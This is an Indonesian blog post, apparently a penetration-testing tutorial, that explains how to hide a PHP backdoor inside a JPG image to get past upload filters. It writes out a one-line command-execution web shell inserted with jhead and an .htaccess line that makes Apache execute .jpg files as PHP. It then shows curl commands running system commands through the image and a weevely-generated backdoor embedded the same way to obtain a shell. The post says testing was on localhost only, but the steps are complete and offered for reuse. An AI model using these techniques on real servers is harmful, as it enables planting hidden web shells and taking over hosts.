Rabu, 14 Maret 2012

Memanipulasi Backdoor php script ke file gambar, jpg


Sering para pentester aplikasi web mengalami kesulitan pada saat melakukan injection yaitu saat memasukan backdoor melalui form-form, entah pada saat di dalam admin page atau pada form-form upload lainnya karena adanya filter yang hanya mengallowed file tertentu untuk di upload ke dalam server target. Yang di allowed dengan filterisasi ekstensi , biasanya hanya tipe-tipe file murni image antara lain .jpg. Sedangkan rata2 backdoor adalah berekstensi PHP. Yang jadi persoalan adalah  Bagaimana kita bisa membuat file jpg ( gambar ) namun memiliki abiliti ( kemampuan ) menyimpan dan mengesekusi php script.
ok langsung saja … pertama kita cari dulu file gambar .. ( extensi jpg, png ) hmm mbah google ajah.. ane cari gambar dengan keyword “perek” kwwkkwkw ternyata ane langsung memilih gambar yang lumayan seksi nih… biar sekalian ahhh hihihihih…
Ok ane save gambar tersebut … dan simpan di direktori root … ckckckck that is amazing :P
Ok .. ini spesifikasi percobaan
1. Os yang ane gunakan : backtrack 5 R1 KDE 32 bit
2. kernel : root@eichel:~# uname -a | Linux eichel 2.6.39.4 #1 SMP Thu Aug 18 13:38:02 NZST 2011 i686 GNU/Linux
3. Target : localhost ( 127.0.0.1 )
4. Webserv : apache2
#note-1 :
Target ane ini hanya ke localhost ane saja … coz ini hanya sebagai contoh percobaan ..and ane bukan depeser yang nyari2 celah sana-sini ( keenakan ntar pentest gratis ).
Yang di butuhkan
1. jhead ( install dengan melakukan apt-get install jhead )
2. curl ( sudah terinstall di backtrack 5 )
3. weevely.py ( sama sudah ada juga,.. huhauhua viva backtrackers ! )
Ok sekarang kita coba lakukan percobaan …

1. Menyisipkan cmd backdoor php dalam file jpg

Ok sebagai percontohan percobaan ane coba menyisipkan php script pada file yang tadi sudah ane download sembarang dari google, “perek.jpg“, kita gunakan jhead. Kita periksa dulu mending file tersebut jgn2 sudah ada script atau comment.
yup ternyata ada tuh .. kita remove semua script atau comment yang ada di pic tersebut ..dengan opsi -purejpg
Ok setelah di murnikan , kita akan memasukan script kita kedalam gambar tersebut ., hmm kita gunakan testing terlebih dahulu .. kita masukan script di bawah ini
<?php passthru($_POST['cmd']); __halt_compiler();.
dan jika sukses jhead akan memberitahukan kepada anda …

Terus ada baiknya cek kembali dengan “jhead”

Ok gambar tadi ( perek.jpg) yang telah di masukan script php tadi saya masukan kedalam localhost di /var/www ,hmm yaitu didalam folder tesbd…
root@eichel:~# mkdir /var/www/tesbd
root@eichel:~# mv perek.jpg /var/www/tesbd/
Ane buat file .httaccess pada direktori tesbd agar bisa “perek.jpg” diesekusi curl …Intinya sebenarnya hanya agar percobaan ini bisa sukses dengan mudah, jadi file httaccess akan mengallowed pemanggilan fungsi php tanpa harus memakai ekstensi php.
root@eichel:~# cd /var/www/tesbd/
root@eichel:/var/www/tesbd# echo "AddType application/x-httpd-php .jpg" >> .htaccess
Perhatikan untuk contoh kasus script yang ane masukin ini hanya berlaku kalau modul mime pada apache2 dalam keadaan aktif. dan minimal pada direktori tersetting AllowOverride FileInfo

2. Backdoor akses

Ok kemudian ane coba akses dengan “curl” .. sukses ..
Perhatikan gambar di atas , bahwa perintah pada opsi -d di atas sukses di esekusi cmd=id .. maka file backdoor akan menampilkan uid , gid akses. Coba kita tes perintah lain. Misalnya perintah “ls” dan “whoami

3. Back-connection

Hal ini bisa dikembangkan sampai kita mendapatkan akses backconnect shell pada mesin target. Ok untuk taraf ini saya pakai weevely.py. tool ini dapat kita temukan pada direktori pentest pada backtrack 5
root@eichel:/pentest/backdoors/web/weevely#
Ok kita buat backdoor dengan weevely.py .. syntaxnya
weevely generate <password> <output_path>
jadi ane buat backdoor dengan nama lohan.php serta password = admin
nah nantinya pada direktori yang sama anda akan mendapatkan sebuah file yang telah anda ciptakan barusan, yaitu lohan.php. buka lohan.php dengan editor anda kemudian copy seluruh isi script phpnya. Seperti pada langkah pertama tadi , ketika kita sukses memasukan scirpt passthru pada langkah awal tadi , kita masukan isi script dari lohan.php ke file gambar tadi …ane copy perek.jpg ke perek1.jpg biar beda deh …
root@eichel:~# cp perek.jpg perek1.jpg
 root@eichel:~# kwrite /pentest/backdoors/web/weevely/lohan.php
 root@eichel:~# jhead -purejpg perek1.jpg
 Modified: perek1.jpg
 root@eichel:~# jhead -ce perek1.jpg
 Modified: perek1.jpg
Nah dengan menggunakan jhead ane berhasil memasukan isi script dari lohan.php ( hasil dari autogenerate weevely.py ) ke dalam file gambar baru yaitu perek1.jpg. Kemudian file perek1.jpg saya coba upload ke dalam localhost. Nah kembali lagi ke direktory weevely.py lalu mengakses file perek1.jpg .. dengan catatan file perek1.jpg sudah berada di dalam localhost
wuiihh kita mendapatkan akses untuk masuk ke shell komputer korban yang diakses dari sebuah file berekstensi JPG!!!
ok ini hanya sekedar contoh saja .. ane hanya ingin memberikan poc bahwa script php dapat di inject / disisipkan dalam file yang lain .. contohnya file jpg ( image file ). tinggal anda masukan script2 buatan anda yang mungkin lebih maknyos dan lebih banyak variasinya.. use your skill !!!
Kita buka file php yang telah kita inject sciript php… hmmm tampaknya masih seperti file jpg biasa saja :P
Ok ane saat ini lagi sama om mirwan a.k.a cassaprodigy dan om faisal a.k.a xsan-lahci mohon undur diri dari hadapan anda.. sampai jumpa lagi di thread yang tak kalah menariknya ..tetaplah setia bersama zeestuff.wordpress.com …
viva la backtrack

Tidak ada komentar:

Posting Komentar